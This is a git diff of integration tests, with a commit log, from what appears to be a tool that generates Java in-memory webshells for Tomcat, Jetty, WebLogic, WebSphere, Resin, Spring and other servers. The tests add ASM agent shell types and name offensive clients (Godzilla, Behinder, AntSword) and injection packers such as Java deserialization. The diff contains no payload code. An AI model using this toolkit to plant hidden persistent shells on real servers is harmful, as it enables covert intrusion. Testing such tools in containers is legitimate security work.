    }
@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.jetty;
+
+import com.reajason.javaweb.integration.TestCasesProvider;
+import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.Arguments;
+import org.junit.jupiter.params.provider.MethodSource;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.Network;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.util.List;
+import java.util.stream.Stream;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
+import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty75ContainerTest {
+    public static final String imageName = "reajason/jetty:7.5.4-jdk6";
+    static Network network = Network.newNetwork();
+    @Container
+    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(neoGeorgDockerfile))
+            .withNetwork(network);
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
+            .withCopyToContainer(jattachFile, "/jattach")
+            .withCopyToContainer(jettyPid, "/fetch_pid.sh")
+            .withNetwork(network)
+            .withNetworkAliases("app")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    static Stream<Arguments> casesProvider() {
+        Server server = Server.Jetty;
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,
+                ShellType.JETTY_AGENT_HANDLER_ASM
+        );
+        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
+        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
+    }
+
+    @AfterAll
+    static void tearDown() {
+        String logs = container.getLogs();
+        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
+    }
+
+    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
+    @MethodSource("casesProvider")
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+    }
+}
@@ -51,7 +51,11 @@ public class Jetty76ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,
+                ShellType.JETTY_AGENT_HANDLER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Jetty81ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,
+                ShellType.JETTY_AGENT_HANDLER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -52,7 +52,11 @@ public class Jetty92ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,
+                ShellType.JETTY_AGENT_HANDLER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -60,6 +64,7 @@ public class Jetty92ContainerTest {
    @AfterAll
    static void tearDown() {
        String logs = container.getLogs();
+        log.info(logs);
        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
    }

@@ -51,7 +51,11 @@ public class Jetty93ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,
+                ShellType.JETTY_AGENT_HANDLER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Jetty94ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,
+                ShellType.JETTY_AGENT_HANDLER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Payara5201ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Payara520225ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Payara620222ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
    }
@@ -52,7 +52,11 @@ public class Resin3116ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Resin;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Resin318ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Resin;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Resin4058ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Resin;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Resin4067ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Resin;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,12 @@ public class SpringBoot1ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.SpringWebMvc;
-        List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SPRING_WEBMVC_INTERCEPTOR,
+                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
+        );
        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -53,7 +53,12 @@ public class SpringBoot2ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.SpringWebMvc;
-        List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SPRING_WEBMVC_INTERCEPTOR,
+                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
+        );
        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -49,8 +49,10 @@ public class SpringBoot2WarContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.SpringWebMvc;
-        List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR,
-                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SPRING_WEBMVC_INTERCEPTOR,
+                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
+        );
        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,12 @@ public class SpringBoot3ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.SpringWebMvc;
-        List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
+                ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
+                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
+        );
        List<Packers> testPackers = List.of(Packers.Base64);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
    }
@@ -51,8 +51,16 @@ public class Tomcat10ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_FILTER,
+                ShellType.JAKARTA_LISTENER,
+                ShellType.JAKARTA_VALVE,
+                ShellType.JAKARTA_WEBSOCKET,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
    }
@@ -52,8 +52,16 @@ public class Tomcat11ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_FILTER,
+                ShellType.JAKARTA_LISTENER,
+                ShellType.JAKARTA_VALVE,
+                ShellType.JAKARTA_WEBSOCKET,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
    }
@@ -53,8 +53,16 @@ public class Tomcat11JRE21ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_FILTER,
+                ShellType.JAKARTA_LISTENER,
+                ShellType.JAKARTA_VALVE,
+                ShellType.JAKARTA_WEBSOCKET,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
    }
@@ -53,7 +53,10 @@ public class Tomcat5ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER,
+                ShellType.LISTENER,
+                ShellType.VALVE);
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,8 +51,14 @@ public class Tomcat6ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER,
+                ShellType.LISTENER,
+                ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,8 +51,15 @@ public class Tomcat7ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER,
+                ShellType.LISTENER,
+                ShellType.VALVE,
+                ShellType.WEBSOCKET,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -53,8 +53,15 @@ public class Tomcat8ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER,
+                ShellType.LISTENER,
+                ShellType.VALVE,
+                ShellType.WEBSOCKET,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,8 +51,15 @@ public class Tomcat9ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER,
+                ShellType.LISTENER,
+                ShellType.VALVE,
+                ShellType.WEBSOCKET,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -50,7 +50,11 @@ public class WebLogic1036ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.WebLogic;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
+                ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
+        );
        List<Packers> testPackers = List.of(Packers.Base64);
        List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
                Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64),  // java.net.SocketTimeoutException
@@ -51,7 +51,11 @@ public class WebLogic12214ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.WebLogic;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
+                ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
+        );
        List<Packers> testPackers = List.of(Packers.Base64);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class WebLogic14110ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.WebLogic;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
+                ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
+        );
        List<Packers> testPackers = List.of(Packers.Base64);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -54,7 +54,11 @@ public class WebSphere855ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.WebSphere;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.WAS_AGENT_FILTER_MANAGER,
+                ShellType.WAS_AGENT_FILTER_MANAGER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -54,7 +54,11 @@ public class WebSphere905ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.WebSphere;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.WAS_AGENT_FILTER_MANAGER,
+                ShellType.WAS_AGENT_FILTER_MANAGER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -54,7 +54,11 @@ public class WebSphere700ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.WebSphere;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.WAS_AGENT_FILTER_MANAGER,
+                ShellType.WAS_AGENT_FILTER_MANAGER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Wildfly18ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Undertow;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
+                ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
ReaJason	2f59fc80fb	docs: update CHANGELOG	2025-03-30 15:33:31 +08:00
ReaJason	901a2b3af0	test: not support obfuscation for jetty suo5 filter	2025-03-30 15:33:31 +08:00
ReaJason	8deff1c8d9	feat: add Godzilla MethodVisitor (but not working for now)	2025-03-30 15:33:31 +08:00
ReaJason	ad05c8f2da	feat: support simple obfuscation (#13 )	2025-03-30 15:33:31 +08:00
ReaJason	e228065aa0	test: support advisor and asm agent unit test	2025-03-30 15:33:31 +08:00
ReaJason	af0135286d	test: update docker-compose yaml	2025-03-30 15:33:31 +08:00
ReaJason	722da5560e	docs: update README	2025-03-30 15:33:31 +08:00
ReaJason	b6e34e4beb	refactor: extract method	2025-03-30 15:33:31 +08:00
ReaJason	3ced92f2d0	feat: support asm relocate to ignore server inner asm	2025-03-30 15:33:31 +08:00
ReaJason	476d92f173	chore: update .gitignore	2025-03-30 15:33:31 +08:00
ReaJason	3c7fd8aca5	test: weblogic 14 asm not work on asm 9	2025-03-30 15:33:31 +08:00
ReaJason	c93ab0e7e0	feat: support other server command agent with asm (#51 )	2025-03-30 15:33:31 +08:00
ReaJason	89cd4fef62	feat: support jetty command agent with asm (#51 )	2025-03-30 15:33:31 +08:00
ReaJason	e6d9ddb210	build: cannot find symbol	2025-03-30 15:33:31 +08:00
ReaJason	a042900052	feat: support undertow agent with asm (#51 )	2025-03-30 15:33:31 +08:00
ReaJason	23d3628786	test: glassfish3 internal asm version too low	2025-03-30 15:33:31 +08:00
ReaJason	4a9217aa3a	feat: add agent memshell playground (#51 )	2025-03-30 15:33:31 +08:00
ReaJason	dd4832a5a8	feat: support command agent with asm on filterChain and contextValve (#51 )	2025-03-30 15:33:31 +08:00
ReaJason	db579ce39e	chore: update dep	2025-03-30 15:33:31 +08:00
ReaJason	4c70dc9148	docs: update	2025-03-30 15:33:31 +08:00
ReaJason	d97ddbd1cc	perf: simplify jetty getContext method	2025-03-30 15:33:31 +08:00
ReaJason	b8e91a3697	style: react component prop readonly	2025-03-30 15:33:31 +08:00
ReaJason	5d97780e34	fix: dev version no update	2025-03-30 15:33:31 +08:00
ReaJason	a7751a0467	ci: add dev auto deploy	2025-03-30 15:33:31 +08:00
ReaJason	5abaa5bbc1	feat: support custom shell generator (#49 )	2025-03-30 15:33:31 +08:00
ReaJason	b3780135bb	chore: upgrade dep	2025-03-30 15:33:31 +08:00
ReaJason	c1fefd3510	chore: rm files	2025-03-30 15:33:31 +08:00
ReaJason	ff70a5f2fe	ci: rm useless steps	2025-03-09 02:14:02 +08:00
ReaJason	d7faa6a59f	build: reduce image size	2025-03-09 02:13:35 +08:00